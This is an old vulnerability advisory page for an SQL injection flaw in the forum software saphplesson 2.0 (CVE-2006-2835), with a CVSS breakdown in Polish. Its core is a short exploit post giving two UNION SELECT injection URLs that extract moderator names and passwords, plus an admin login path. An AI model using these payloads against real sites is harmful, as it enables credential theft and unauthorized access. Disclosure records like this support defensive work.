Critical sql injection in saphplesson 2.0

2006-06-07 / 2006-06-08

Credit: black-cod3 hotmail com

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2006-2835

CWE: CWE-Other

Ogólna skala CVSS: 7.5/10

Znaczenie: 6.4/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Częściowy

Wpływ na dostępność: Częściowy

Critical sql injection in :

forum type : saphplesson 2.0

bug found by : black-code&sweet-devil

team : site-down

type : sql injection

black-code:

http://www.xxx.net/sh3r/add.php?forumid=-1%20union%20select%20Modpasswor
d%20from%20modretor

sweet-devil:

http://www.xxx.net/lesons/show.php?lessid=1%20union%20select%20null,null
,null,ModName,ModPassword,ModPassword,ModPassword%20FROM%20modretor

path to admin login:

http://www.xxx.com/pth/admin

All my respect to my friend sweet-devil , lezr.com , g123g.net ..

done .. peace

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Critical sql injection in saphplesson 2.0

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.